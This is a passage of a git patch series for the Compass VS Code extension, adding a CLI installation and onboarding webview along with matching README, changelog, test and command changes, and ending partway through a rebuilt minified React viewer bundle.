=> { + const ended = vscode.window.onDidEndTerminalShellExecution((event) => { + if (event.terminal !== terminal || event.execution !== execution) return; + close.dispose(); + ended.dispose(); + resolve(event.exitCode); + }); + const close = vscode.window.onDidCloseTerminal((closed) => { + if (closed !== terminal) return; + close.dispose(); + ended.dispose(); + resolve(undefined); + }); + }); +} + +function delay(milliseconds: number): Promise { + return new Promise((resolve) => setTimeout(resolve, milliseconds)); +} + +function errorMessage(error: unknown): string { + return error instanceof Error ? error.message : String(error); +} + +function html(context: vscode.ExtensionContext, webview: vscode.Webview): string { + const script = webview.asWebviewUri( + vscode.Uri.joinPath(context.extensionUri, "dist", "webviews", "onboarding.js") + ); + const styles = webview.asWebviewUri( + vscode.Uri.joinPath(context.extensionUri, "dist", "webviews", "viewer.css") + ); + const nonce = randomUUID().replaceAll("-", ""); + return ` + + +Get started with Compass +
`; +} diff --git a/editors/vscode/src/webviews/onboarding.tsx b/editors/vscode/src/webviews/onboarding.tsx new file mode 100644 index 00000000..ce2b47d7 --- /dev/null +++ b/editors/vscode/src/webviews/onboarding.tsx @@ -0,0 +1,37 @@ +import { CliOnboarding, type CliOnboardingState } from "@compass/viewer"; +import { createRoot } from "react-dom/client"; +import { HostToOnboardingMessageSchema } from "../install/messages"; + +declare function acquireVsCodeApi(): { postMessage(message: unknown): void }; + +const vscode = acquireVsCodeApi(); +const element = document.getElementById("root"); +if (!element) throw new Error("Compass onboarding root is missing"); +const root = createRoot(element); +let state: CliOnboardingState = { kind: "verifying" }; + +function render(): void { + root.render( + vscode.postMessage({ type: "install" }), + verifyAgain: () => vscode.postMessage({ type: "verifyAgain" }), + selectExisting: () => vscode.postMessage({ type: "selectExisting" }), + initializeRepository: () => vscode.postMessage({ type: "initializeRepository" }), + openRepository: () => vscode.postMessage({ type: "openRepository" }), + showTerminal: () => vscode.postMessage({ type: "showTerminal" }) + }} + /> + ); +} + +window.addEventListener("message", (event) => { + const parsed = HostToOnboardingMessageSchema.safeParse(event.data); + if (!parsed.success) return; + state = parsed.data.state; + render(); +}); + +render(); +vscode.postMessage({ type: "ready" }); diff --git a/packages/compass-viewer/src/onboarding/CliOnboarding.tsx b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx index 2f1943f4..717b34ee 100644 --- a/packages/compass-viewer/src/onboarding/CliOnboarding.tsx +++ b/packages/compass-viewer/src/onboarding/CliOnboarding.tsx @@ -33,7 +33,7 @@ export type CliOnboardingState = kind: "error"; title: string; message: string; - searched?: string[]; + searched?: string[] | undefined; canVerifyAgain: boolean; } | { From 03445f833e6703e5371921f099517b09747cfb75 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:10:26 -0700 Subject: [PATCH 10/25] feat(vscode): guide missing CLI users through setup --- editors/vscode/CHANGELOG.md | 7 ++ editors/vscode/README.md | 23 ++++-- editors/vscode/package.json | 9 ++- editors/vscode/src/extension.ts | 77 ++++++++++++++----- .../src/test/suite/extension.integration.ts | 1 + editors/vscode/src/views/treeModel.test.ts | 6 +- editors/vscode/src/views/treeModel.ts | 10 +-- 7 files changed, 95 insertions(+), 38 deletions(-) diff --git a/editors/vscode/CHANGELOG.md b/editors/vscode/CHANGELOG.md index 78d8445e..5d30d64d 100644 --- a/editors/vscode/CHANGELOG.md +++ b/editors/vscode/CHANGELOG.md @@ -1,5 +1,12 @@ # Changelog +## 0.1.7 + +- Add first-run Compass CLI installation in a visible VS Code terminal on + macOS, Linux, and Windows. +- Verify and activate installed or manually selected CLIs without reloading the + editor. + ## 0.1.6 - Place the Marketplace logo on a high-contrast indigo badge so it remains diff --git a/editors/vscode/README.md b/editors/vscode/README.md index f6fa2a17..24f7179b 100644 --- a/editors/vscode/README.md +++ b/editors/vscode/README.md @@ -6,12 +6,16 @@ exports. ## Requirements -Install the `compass` CLI separately on the same machine or remote extension -host where VS Code opens the workspace. The extension never bundles a native -binary and never sends telemetry. +If the `compass` CLI is missing, choose **Set up Compass** in the Compass +activity bar. The onboarding page shows the exact official install command, +opens a visible integrated terminal, runs it, and verifies the installed +version and capabilities automatically. After verification, choose +**Initialize repository** to continue into repository scope setup. -If `compass` is not on `PATH`, set **Compass: CLI Path** or choose **Select -Compass Binary** from the guided setup. +Installation runs on the same machine or remote extension host where VS Code +opens the workspace. The extension never bundles a native binary and never +sends telemetry. If Compass already exists outside detected locations, set +**Compass: CLI Path** or choose **Select Compass Binary** from onboarding. The CLI must support `compass capabilities --format json` and the versioned contracts advertised by the extension. If a non-Compass or incompatible binary @@ -88,9 +92,12 @@ partial. An empty direction means that Compass found the function but has no represented relationship in that direction; it does not prove no runtime call exists. -Compass discovers the CLI automatically from the configured location and then -from `PATH`. A setup row appears only when the executable is missing or -incompatible; a healthy CLI does not occupy the Workspace view. +Compass discovers the CLI automatically from the configured location, `PATH`, +and common user-local install directories. When it is missing, **Set up +Compass** opens one-click installation for macOS, Linux, Windows x64, and +Windows ARM64. The terminal remains available for troubleshooting, and failed +verification offers retry or existing-binary selection. A healthy CLI does not +occupy the Workspace view. In a multi-root workspace, Compass uses the repository containing the active editor. If no repository is implied and more than one is eligible, Compass asks diff --git a/editors/vscode/package.json b/editors/vscode/package.json index 2a1526a0..8cb2135e 100644 --- a/editors/vscode/package.json +++ b/editors/vscode/package.json @@ -128,6 +128,11 @@ "command": "compass.selectCli", "title": "Compass: Select CLI Version", "icon": "$(terminal)" + }, + { + "command": "compass.installCli", + "title": "Compass: Install CLI", + "icon": "$(cloud-download)" } ], "submenus": [ @@ -254,8 +259,8 @@ "steps": [ { "id": "compass.cli", - "title": "Connect the Compass CLI", - "description": "Compass auto-detects installed CLI versions. Use **Select Compass CLI** to compare paths or choose a different version." + "title": "Install the Compass CLI", + "description": "Open **Compass: Install CLI** to install Compass in the integrated terminal, or select an existing executable." }, { "id": "compass.init", diff --git a/editors/vscode/src/extension.ts b/editors/vscode/src/extension.ts index 653ab602..1d645f8f 100644 --- a/editors/vscode/src/extension.ts +++ b/editors/vscode/src/extension.ts @@ -11,14 +11,17 @@ import { inspectCompassInstallation } from "./cli/discovery"; import { CompassProcessManager } from "./cli/processManager"; +import { CompassRuntime } from "./cli/runtime"; import { compassSelectionItems } from "./cli/selection"; import { registerBuildCommands } from "./commands/buildCommands"; +import { resolveInstallCommand } from "./install/command"; import { GraphPanel } from "./views/graphPanel"; import { CallGraphPanel } from "./views/callGraphPanel"; import { openCallGraphGuidePanel } from "./views/callGraphGuidePanel"; import { openArchitecturePanel } from "./views/architecturePanel"; import { openQueryPanel } from "./views/queryPanel"; import { openHistoryPanel } from "./views/historyPanel"; +import { openCliOnboardingPanel } from "./views/cliOnboardingPanel"; import { createCompassStatusBar } from "./views/statusBar"; import { WorkspaceTree } from "./views/workspaceTree"; import { SessionRegistry } from "./workspace/sessionRegistry"; @@ -55,8 +58,23 @@ export async function activate(context: vscode.ExtensionContext): Promise })); } - const workspaceTree = new WorkspaceTree(registry, () => discovery); + const runtime = new CompassRuntime(discovery, { + processes, + sessions: () => registry.all(), + persistCliPath: async (selectedPath) => { + await vscode.workspace.getConfiguration("compass").update( + "cliPath", + selectedPath, + vscode.ConfigurationTarget.Global + ); + } + }); + const workspaceTree = new WorkspaceTree(registry, () => runtime.discovery); const statusBar = createCompassStatusBar(context, registry); + context.subscriptions.push(runtime.onDidChange(() => { + workspaceTree.refresh(); + statusBar.refresh(); + })); const refresh = async () => { await registry.refresh(); workspaceTree.refresh(); @@ -122,26 +140,27 @@ export async function activate(context: vscode.ExtensionContext): Promise } if (!installation) return; - if (installation.executable === executable) { + if ( + runtime.discovery.kind === "found" + && installation.executable === runtime.discovery.executable + ) { void vscode.window.showInformationMessage( `Compass ${installation.version ?? "(version unavailable)"} is already active.` ); return; } - await vscode.workspace.getConfiguration("compass").update( - "cliPath", - installation.executable, - vscode.ConfigurationTarget.Global - ); - const version = installation.version - ? ` ${installation.version}` - : ""; - const action = await vscode.window.showInformationMessage( - `Compass${version} selected from ${installation.executable}. Reload VS Code to activate it.`, - "Reload Window" - ); - if (action === "Reload Window") { - await vscode.commands.executeCommand("workbench.action.reloadWindow"); + try { + const activated = await runtime.activate(installation); + await refresh(); + void vscode.window.showInformationMessage( + `Compass ${ + activated.installation.version ?? activated.capabilities.compass_version + } is ready at ${activated.installation.executable}.` + ); + } catch (error) { + void vscode.window.showErrorMessage( + `Compass CLI could not be activated: ${message(error)}` + ); } }; const handleSetupAction = async (action: string | undefined) => { @@ -291,6 +310,18 @@ export async function activate(context: vscode.ExtensionContext): Promise vscode.window.onDidChangeActiveTextEditor(() => statusBar.refresh()), vscode.commands.registerCommand("compass.refreshWorkspace", refresh), vscode.commands.registerCommand("compass.selectCli", selectCompassBinary), + vscode.commands.registerCommand("compass.installCli", () => + openCliOnboardingPanel(context, { + runtime, + selectExisting: selectCompassBinary, + initializeRepository: async () => { + await vscode.commands.executeCommand("compass.initialize"); + }, + refresh, + discover: () => discoverCompass(vscode.workspace.getConfiguration("compass")), + resolveCommand: () => resolveInstallCommand(process.platform, process.env) + }) + ), vscode.commands.registerCommand("compass.openSettings", openCompassSettings), vscode.commands.registerCommand("compass.openGraph", async (repositoryId?: string) => { if (!vscode.workspace.isTrusted) { @@ -355,10 +386,16 @@ export async function activate(context: vscode.ExtensionContext): Promise ).then(handleSetupAction); } else if (discovery.kind === "missing") { void vscode.window.showInformationMessage( - "Compass CLI is required. Install it, then select or configure the executable.", - "Open Setup", - "Select Compass CLI" - ).then(handleSetupAction); + "Install Compass to build and explore a local code graph.", + "Install Compass", + "Select existing CLI" + ).then(async (action) => { + if (action === "Install Compass") { + await vscode.commands.executeCommand("compass.installCli"); + } else if (action === "Select existing CLI") { + await vscode.commands.executeCommand("compass.selectCli"); + } + }); } } diff --git a/editors/vscode/src/test/suite/extension.integration.ts b/editors/vscode/src/test/suite/extension.integration.ts index 379b2156..5f8cd38a 100644 --- a/editors/vscode/src/test/suite/extension.integration.ts +++ b/editors/vscode/src/test/suite/extension.integration.ts @@ -26,6 +26,7 @@ suite("Compass extension", () => { "compass.openArchitecture", "compass.openQuery", "compass.openHistory", + "compass.installCli", "compass.selectCli" ]) { assert.ok(commands.has(command), `${command} is registered`); diff --git a/editors/vscode/src/views/treeModel.test.ts b/editors/vscode/src/views/treeModel.test.ts index d6ac527f..380b15c7 100644 --- a/editors/vscode/src/views/treeModel.test.ts +++ b/editors/vscode/src/views/treeModel.test.ts @@ -116,12 +116,12 @@ describe("buildWorkspaceTree", () => { [available] ); expect(missing.map((node) => node.label)).toEqual([ - "Compass CLI needs attention", + "Set up Compass", "repo" ]); expect(missing[0]).toMatchObject({ - description: "Not found", - command: "compass.selectCli" + description: "Not installed", + command: "compass.installCli" }); const incompatible = buildWorkspaceTree(discovery, [{ diff --git a/editors/vscode/src/views/treeModel.ts b/editors/vscode/src/views/treeModel.ts index 14364e59..4a0dcb61 100644 --- a/editors/vscode/src/views/treeModel.ts +++ b/editors/vscode/src/views/treeModel.ts @@ -162,11 +162,11 @@ function cliAttentionNodes( if (discovery.kind === "missing") { return [{ id: "cli-setup", - label: "Compass CLI needs attention", - description: "Not found", - tooltip: "Compass was not found in the configured location or on PATH.", - icon: "warning", - command: "compass.selectCli" + label: "Set up Compass", + description: "Not installed", + tooltip: "Install Compass or select an existing CLI to continue.", + icon: "rocket", + command: "compass.installCli" }]; } const incompatible = sessions.find((session) => session.capabilityError); From e7350de53fc7d96fb2bc22f5055112540bd90a41 Mon Sep 17 00:00:00 2001 From: forhappy Date: Mon, 27 Jul 2026 22:14:10 -0700 Subject: [PATCH 11/25] fix(vscode): harden onboarding recovery and packaging --- crates/compass-output/assets/viewer/graph.js | 106 +++++++++--------- .../assets/viewer/manifest.json | 8 +- .../compass-output/assets/viewer/viewer.css | 2 +- editors/vscode/esbuild.mjs | 4 + editors/vscode/scripts/smoke-vsix.mjs | 2 + .../vscode/src/views/cliOnboardingPanel.ts | 18 ++- .../src/onboarding/CliOnboarding.test.tsx | 13 +++ .../src/onboarding/CliOnboarding.tsx | 6 +- packages/compass-viewer/src/theme.css | 1 - 9 files changed, 96 insertions(+), 64 deletions(-) diff --git a/crates/compass-output/assets/viewer/graph.js b/crates/compass-output/assets/viewer/graph.js index 829c2535..3d77dc04 100644 --- a/crates/compass-output/assets/viewer/graph.js +++ b/crates/compass-output/assets/viewer/graph.js @@ -1,75 +1,75 @@ -(function(){"use strict";var Ba={exports:{}},HC={};var Hh;function LS(){if(Hh)return HC;Hh=1;var n=Symbol.for("react.transitional.element"),e=Symbol.for("react.fragment");function t(i,C,o){var s=null;if(o!==void 0&&(s=""+o),C.key!==void 0&&(s=""+C.key),"key"in C){o={};for(var a in C)a!=="key"&&(o[a]=C[a])}else o=C;return C=o.ref,{$$typeof:n,type:i,key:s,ref:C!==void 0?C:null,props:o}}return HC.Fragment=e,HC.jsx=t,HC.jsxs=t,HC}var Kh;function GS(){return Kh||(Kh=1,Ba.exports=LS()),Ba.exports}var T=GS(),Pa={exports:{}},fe={};var Qh;function FS(){if(Qh)return fe;Qh=1;var n=Symbol.for("react.transitional.element"),e=Symbol.for("react.portal"),t=Symbol.for("react.fragment"),i=Symbol.for("react.strict_mode"),C=Symbol.for("react.profiler"),o=Symbol.for("react.consumer"),s=Symbol.for("react.context"),a=Symbol.for("react.forward_ref"),l=Symbol.for("react.suspense"),u=Symbol.for("react.memo"),h=Symbol.for("react.lazy"),p=Symbol.for("react.activity"),m=Symbol.iterator;function v(b){return b===null||typeof b!="object"?null:(b=m&&b[m]||b["@@iterator"],typeof b=="function"?b:null)}var w={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},N=Object.assign,x={};function D(b,z,K){this.props=b,this.context=z,this.refs=x,this.updater=K||w}D.prototype.isReactComponent={},D.prototype.setState=function(b,z){if(typeof b!="object"&&typeof b!="function"&&b!=null)throw Error("takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,b,z,"setState")},D.prototype.forceUpdate=function(b){this.updater.enqueueForceUpdate(this,b,"forceUpdate")};function k(){}k.prototype=D.prototype;function V(b,z,K){this.props=b,this.context=z,this.refs=x,this.updater=K||w}var L=V.prototype=new k;L.constructor=V,N(L,D.prototype),L.isPureReactComponent=!0;var Q=Array.isArray;function ne(){}var J={H:null,A:null,T:null,S:null},le=Object.prototype.hasOwnProperty;function ze(b,z,K){var $=K.ref;return{$$typeof:n,type:b,key:z,ref:$!==void 0?$:null,props:K}}function Fe(b,z){return ze(b.type,z,b.props)}function H(b){return typeof b=="object"&&b!==null&&b.$$typeof===n}function ee(b){var z={"=":"=0",":":"=2"};return"$"+b.replace(/[=:]/g,function(K){return z[K]})}var Pe=/\/+/g;function pt(b,z){return typeof b=="object"&&b!==null&&b.key!=null?ee(""+b.key):z.toString(36)}function xe(b){switch(b.status){case"fulfilled":return b.value;case"rejected":throw b.reason;default:switch(typeof b.status=="string"?b.then(ne,ne):(b.status="pending",b.then(function(z){b.status==="pending"&&(b.status="fulfilled",b.value=z)},function(z){b.status==="pending"&&(b.status="rejected",b.reason=z)})),b.status){case"fulfilled":return b.value;case"rejected":throw b.reason}}throw b}function R(b,z,K,$,he){var ye=typeof b;(ye==="undefined"||ye==="boolean")&&(b=null);var Me=!1;if(b===null)Me=!0;else switch(ye){case"bigint":case"string":case"number":Me=!0;break;case"object":switch(b.$$typeof){case n:case e:Me=!0;break;case h:return Me=b._init,R(Me(b._payload),z,K,$,he)}}if(Me)return he=he(b),Me=$===""?"."+pt(b,0):$,Q(he)?(K="",Me!=null&&(K=Me.replace(Pe,"$&/")+"/"),R(he,z,K,"",function($I){return $I})):he!=null&&(H(he)&&(he=Fe(he,K+(he.key==null||b&&b.key===he.key?"":(""+he.key).replace(Pe,"$&/")+"/")+Me)),z.push(he)),1;Me=0;var $t=$===""?".":$+":";if(Q(b))for(var mt=0;mt>>1,pe=R[de];if(0>>1;deC(K,te))$C(he,K)?(R[de]=he,R[$]=te,de=$):(R[de]=K,R[z]=te,de=z);else if($C(he,te))R[de]=he,R[$]=te,de=$;else break e}}return U}function C(R,U){var te=R.sortIndex-U.sortIndex;return te!==0?te:R.id-U.id}if(n.unstable_now=void 0,typeof performance=="object"&&typeof performance.now=="function"){var o=performance;n.unstable_now=function(){return o.now()}}else{var s=Date,a=s.now();n.unstable_now=function(){return s.now()-a}}var l=[],u=[],h=1,p=null,m=3,v=!1,w=!1,N=!1,x=!1,D=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,V=typeof setImmediate<"u"?setImmediate:null;function L(R){for(var U=t(u);U!==null;){if(U.callback===null)i(u);else if(U.startTime<=R)i(u),U.sortIndex=U.expirationTime,e(l,U);else break;U=t(u)}}function Q(R){if(N=!1,L(R),!w)if(t(l)!==null)w=!0,ne||(ne=!0,ee());else{var U=t(u);U!==null&&xe(Q,U.startTime-R)}}var ne=!1,J=-1,le=5,ze=-1;function Fe(){return x?!0:!(n.unstable_now()-zeR&&Fe());){var de=p.callback;if(typeof de=="function"){p.callback=null,m=p.priorityLevel;var pe=de(p.expirationTime<=R);if(R=n.unstable_now(),typeof pe=="function"){p.callback=pe,L(R),U=!0;break t}p===t(l)&&i(l),L(R)}else i(l);p=t(l)}if(p!==null)U=!0;else{var b=t(u);b!==null&&xe(Q,b.startTime-R),U=!1}}break e}finally{p=null,m=te,v=!1}U=void 0}}finally{U?ee():ne=!1}}}var ee;if(typeof V=="function")ee=function(){V(H)};else if(typeof MessageChannel<"u"){var Pe=new MessageChannel,pt=Pe.port2;Pe.port1.onmessage=H,ee=function(){pt.postMessage(null)}}else ee=function(){D(H,0)};function xe(R,U){J=D(function(){R(n.unstable_now())},U)}n.unstable_IdlePriority=5,n.unstable_ImmediatePriority=1,n.unstable_LowPriority=4,n.unstable_NormalPriority=3,n.unstable_Profiling=null,n.unstable_UserBlockingPriority=2,n.unstable_cancelCallback=function(R){R.callback=null},n.unstable_forceFrameRate=function(R){0>R||125de?(R.sortIndex=te,e(u,R),t(l)===null&&R===t(u)&&(N?(k(J),J=-1):N=!0,xe(Q,te-de))):(R.sortIndex=pe,e(l,R),w||v||(w=!0,ne||(ne=!0,ee()))),R},n.unstable_shouldYield=Fe,n.unstable_wrapCallback=function(R){var U=m;return function(){var te=m;m=U;try{return R.apply(this,arguments)}finally{m=te}}}})(Fa)),Fa}var qh;function YS(){return qh||(qh=1,Ga.exports=VS()),Ga.exports}var Va={exports:{}},Ht={};var Jh;function US(){if(Jh)return Ht;Jh=1;var n=ja();function e(l){var u="https://react.dev/errors/"+l;if(1"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}return n(),Va.exports=US(),Va.exports}var ef;function KS(){if(ef)return KC;ef=1;var n=YS(),e=ja(),t=HS();function i(g){var A="https://react.dev/errors/"+g;if(1pe||(g.current=de[pe],de[pe]=null,pe--)}function K(g,A){pe++,de[pe]=g.current,g.current=A}var $=b(null),he=b(null),ye=b(null),Me=b(null);function $t(g,A){switch(K(ye,A),K(he,g),K($,null),A.nodeType){case 9:case 11:g=(g=A.documentElement)&&(g=g.namespaceURI)?sS(g):0;break;default:if(g=A.tagName,A=A.namespaceURI)A=sS(A),g=rS(A,g);else switch(g){case"svg":g=1;break;case"math":g=2;break;default:g=0}}z($),K($,g)}function mt(){z($),z(he),z(ye)}function $I(g){g.memoizedState!==null&&K(Me,g);var A=$.current,I=rS(A,g.type);A!==I&&(K(he,g),K($,I))}function mr(g){he.current===g&&(z($),z(he)),Me.current===g&&(z(Me),Vo._currentValue=te)}var xu,jw;function nA(g){if(xu===void 0)try{throw Error()}catch(I){var A=I.stack.trim().match(/\n( *(at )?)/);xu=A&&A[1]||"",jw=-1>>1,me=O[de];if(0>>1;deC(H,ee))$C(he,H)?(O[de]=he,O[$]=ee,de=$):(O[de]=H,O[R]=ee,de=R);else if($C(he,ee))O[de]=he,O[$]=ee,de=$;else break e}}return L}function C(O,L){var ee=O.sortIndex-L.sortIndex;return ee!==0?ee:O.id-L.id}if(n.unstable_now=void 0,typeof performance=="object"&&typeof performance.now=="function"){var o=performance;n.unstable_now=function(){return o.now()}}else{var s=Date,a=s.now();n.unstable_now=function(){return s.now()-a}}var l=[],u=[],h=1,p=null,m=3,v=!1,w=!1,D=!1,N=!1,z=typeof setTimeout=="function"?setTimeout:null,k=typeof clearTimeout=="function"?clearTimeout:null,Y=typeof setImmediate<"u"?setImmediate:null;function j(O){for(var L=t(u);L!==null;){if(L.callback===null)i(u);else if(L.startTime<=O)i(u),L.sortIndex=L.expirationTime,e(l,L);else break;L=t(u)}}function K(O){if(D=!1,j(O),!w)if(t(l)!==null)w=!0,Ae||(Ae=!0,fe());else{var L=t(u);L!==null&&J(K,L.startTime-O)}}var Ae=!1,q=-1,re=5,ze=-1;function Ge(){return N?!0:!(n.unstable_now()-zeO&&Ge());){var de=p.callback;if(typeof de=="function"){p.callback=null,m=p.priorityLevel;var me=de(p.expirationTime<=O);if(O=n.unstable_now(),typeof me=="function"){p.callback=me,j(O),L=!0;break t}p===t(l)&&i(l),j(O)}else i(l);p=t(l)}if(p!==null)L=!0;else{var b=t(u);b!==null&&J(K,b.startTime-O),L=!1}}break e}finally{p=null,m=ee,v=!1}L=void 0}}finally{L?fe():Ae=!1}}}var fe;if(typeof Y=="function")fe=function(){Y(ie)};else if(typeof MessageChannel<"u"){var Rt=new MessageChannel,$e=Rt.port2;Rt.port1.onmessage=ie,fe=function(){$e.postMessage(null)}}else fe=function(){z(ie,0)};function J(O,L){q=z(function(){O(n.unstable_now())},L)}n.unstable_IdlePriority=5,n.unstable_ImmediatePriority=1,n.unstable_LowPriority=4,n.unstable_NormalPriority=3,n.unstable_Profiling=null,n.unstable_UserBlockingPriority=2,n.unstable_cancelCallback=function(O){O.callback=null},n.unstable_forceFrameRate=function(O){0>O||125de?(O.sortIndex=ee,e(u,O),t(l)===null&&O===t(u)&&(D?(k(q),q=-1):D=!0,J(K,ee-de))):(O.sortIndex=me,e(l,O),w||v||(w=!0,Ae||(Ae=!0,fe()))),O},n.unstable_shouldYield=Ge,n.unstable_wrapCallback=function(O){var L=m;return function(){var ee=m;m=L;try{return O.apply(this,arguments)}finally{m=ee}}}})(Fa)),Fa}var qh;function H2(){return qh||(qh=1,Ga.exports=U2()),Ga.exports}var Va={exports:{}},Ht={};var Jh;function K2(){if(Jh)return Ht;Jh=1;var n=ja();function e(l){var u="https://react.dev/errors/"+l;if(1"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(n)}catch(e){console.error(e)}}return n(),Va.exports=K2(),Va.exports}var ef;function X2(){if(ef)return KC;ef=1;var n=H2(),e=ja(),t=Q2();function i(g){var A="https://react.dev/errors/"+g;if(1me||(g.current=de[me],de[me]=null,me--)}function H(g,A){me++,de[me]=g.current,g.current=A}var $=b(null),he=b(null),be=b(null),Me=b(null);function $t(g,A){switch(H(be,A),H(he,g),H($,null),A.nodeType){case 9:case 11:g=(g=A.documentElement)&&(g=g.namespaceURI)?a2(g):0;break;default:if(g=A.tagName,A=A.namespaceURI)A=a2(A),g=l2(A,g);else switch(g){case"svg":g=1;break;case"math":g=2;break;default:g=0}}R($),H($,g)}function pt(){R($),R(he),R(be)}function $I(g){g.memoizedState!==null&&H(Me,g);var A=$.current,I=l2(A,g.type);A!==I&&(H(he,g),H($,I))}function mr(g){he.current===g&&(R($),R(he)),Me.current===g&&(R(Me),Vo._currentValue=ee)}var xu,Gw;function nA(g){if(xu===void 0)try{throw Error()}catch(I){var A=I.stack.trim().match(/\n( *(at )?)/);xu=A&&A[1]||"",Gw=-1)":-1c||E[r]!==_[c]){var j=` -`+E[r].replace(" at new "," at ");return g.displayName&&j.includes("")&&(j=j.replace("",g.displayName)),j}while(1<=r&&0<=c);break}}}finally{Nu=!1,Error.prepareStackTrace=I}return(I=g?g.displayName||g.name:"")?nA(I):""}function lQ(g,A){switch(g.tag){case 26:case 27:case 5:return nA(g.type);case 16:return nA("Lazy");case 13:return g.child!==A&&A!==null?nA("Suspense Fallback"):nA("Suspense");case 19:return nA("SuspenseList");case 0:case 15:return Du(g.type,!1);case 11:return Du(g.type.render,!1);case 1:return Du(g.type,!0);case 31:return nA("Activity");default:return""}}function Lw(g){try{var A="",I=null;do A+=lQ(g,I),I=g,g=g.return;while(g);return A}catch(r){return` +`);for(c=r=0;rc||T[r]!==_[c]){var G=` +`+T[r].replace(" at new "," at ");return g.displayName&&G.includes("")&&(G=G.replace("",g.displayName)),G}while(1<=r&&0<=c);break}}}finally{Nu=!1,Error.prepareStackTrace=I}return(I=g?g.displayName||g.name:"")?nA(I):""}function fQ(g,A){switch(g.tag){case 26:case 27:case 5:return nA(g.type);case 16:return nA("Lazy");case 13:return g.child!==A&&A!==null?nA("Suspense Fallback"):nA("Suspense");case 19:return nA("SuspenseList");case 0:case 15:return Du(g.type,!1);case 11:return Du(g.type.render,!1);case 1:return Du(g.type,!0);case 31:return nA("Activity");default:return""}}function Fw(g){try{var A="",I=null;do A+=fQ(g,I),I=g,g=g.return;while(g);return A}catch(r){return` Error generating stack: `+r.message+` -`+r.stack}}var zu=Object.prototype.hasOwnProperty,Ru=n.unstable_scheduleCallback,Mu=n.unstable_cancelCallback,cQ=n.unstable_shouldYield,uQ=n.unstable_requestPaint,ug=n.unstable_now,dQ=n.unstable_getCurrentPriorityLevel,Gw=n.unstable_ImmediatePriority,Fw=n.unstable_UserBlockingPriority,vr=n.unstable_NormalPriority,hQ=n.unstable_LowPriority,Vw=n.unstable_IdlePriority,fQ=n.log,pQ=n.unstable_setDisableYieldValue,eo=null,dg=null;function ln(g){if(typeof fQ=="function"&&pQ(g),dg&&typeof dg.setStrictMode=="function")try{dg.setStrictMode(eo,g)}catch{}}var hg=Math.clz32?Math.clz32:yQ,mQ=Math.log,vQ=Math.LN2;function yQ(g){return g>>>=0,g===0?32:31-(mQ(g)/vQ|0)|0}var yr=256,br=262144,wr=4194304;function AA(g){var A=g&42;if(A!==0)return A;switch(g&-g){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:return 64;case 128:return 128;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:return g&261888;case 262144:case 524288:case 1048576:case 2097152:return g&3932160;case 4194304:case 8388608:case 16777216:case 33554432:return g&62914560;case 67108864:return 67108864;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 0;default:return g}}function Er(g,A,I){var r=g.pendingLanes;if(r===0)return 0;var c=0,d=g.suspendedLanes,f=g.pingedLanes;g=g.warmLanes;var y=r&134217727;return y!==0?(r=y&~d,r!==0?c=AA(r):(f&=y,f!==0?c=AA(f):I||(I=y&~g,I!==0&&(c=AA(I))))):(y=r&~d,y!==0?c=AA(y):f!==0?c=AA(f):I||(I=r&~g,I!==0&&(c=AA(I)))),c===0?0:A!==0&&A!==c&&(A&d)===0&&(d=c&-c,I=A&-A,d>=I||d===32&&(I&4194048)!==0)?A:c}function to(g,A){return(g.pendingLanes&~(g.suspendedLanes&~g.pingedLanes)&A)===0}function bQ(g,A){switch(g){case 1:case 2:case 4:case 8:case 64:return A+250;case 16:case 32:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return A+5e3;case 4194304:case 8388608:case 16777216:case 33554432:return-1;case 67108864:case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Yw(){var g=wr;return wr<<=1,(wr&62914560)===0&&(wr=4194304),g}function _u(g){for(var A=[],I=0;31>I;I++)A.push(g);return A}function go(g,A){g.pendingLanes|=A,A!==268435456&&(g.suspendedLanes=0,g.pingedLanes=0,g.warmLanes=0)}function wQ(g,A,I,r,c,d){var f=g.pendingLanes;g.pendingLanes=I,g.suspendedLanes=0,g.pingedLanes=0,g.warmLanes=0,g.expiredLanes&=I,g.entangledLanes&=I,g.errorRecoveryDisabledLanes&=I,g.shellSuspendCounter=0;var y=g.entanglements,E=g.expirationTimes,_=g.hiddenUpdates;for(I=f&~I;0"u")return null;try{return g.activeElement||g.body}catch{return g.body}}var NQ=/[\n"\\]/g;function Mg(g){return g.replace(NQ,function(A){return"\\"+A.charCodeAt(0).toString(16)+" "})}function Lu(g,A,I,r,c,d,f,y){g.name="",f!=null&&typeof f!="function"&&typeof f!="symbol"&&typeof f!="boolean"?g.type=f:g.removeAttribute("type"),A!=null?f==="number"?(A===0&&g.value===""||g.value!=A)&&(g.value=""+Rg(A)):g.value!==""+Rg(A)&&(g.value=""+Rg(A)):f!=="submit"&&f!=="reset"||g.removeAttribute("value"),A!=null?Gu(g,f,Rg(A)):I!=null?Gu(g,f,Rg(I)):r!=null&&g.removeAttribute("value"),c==null&&d!=null&&(g.defaultChecked=!!d),c!=null&&(g.checked=c&&typeof c!="function"&&typeof c!="symbol"),y!=null&&typeof y!="function"&&typeof y!="symbol"&&typeof y!="boolean"?g.name=""+Rg(y):g.removeAttribute("name")}function i1(g,A,I,r,c,d,f,y){if(d!=null&&typeof d!="function"&&typeof d!="symbol"&&typeof d!="boolean"&&(g.type=d),A!=null||I!=null){if(!(d!=="submit"&&d!=="reset"||A!=null)){ju(g);return}I=I!=null?""+Rg(I):"",A=A!=null?""+Rg(A):I,y||A===g.value||(g.value=A),g.defaultValue=A}r=r??c,r=typeof r!="function"&&typeof r!="symbol"&&!!r,g.checked=y?g.checked:!!r,g.defaultChecked=!!r,f!=null&&typeof 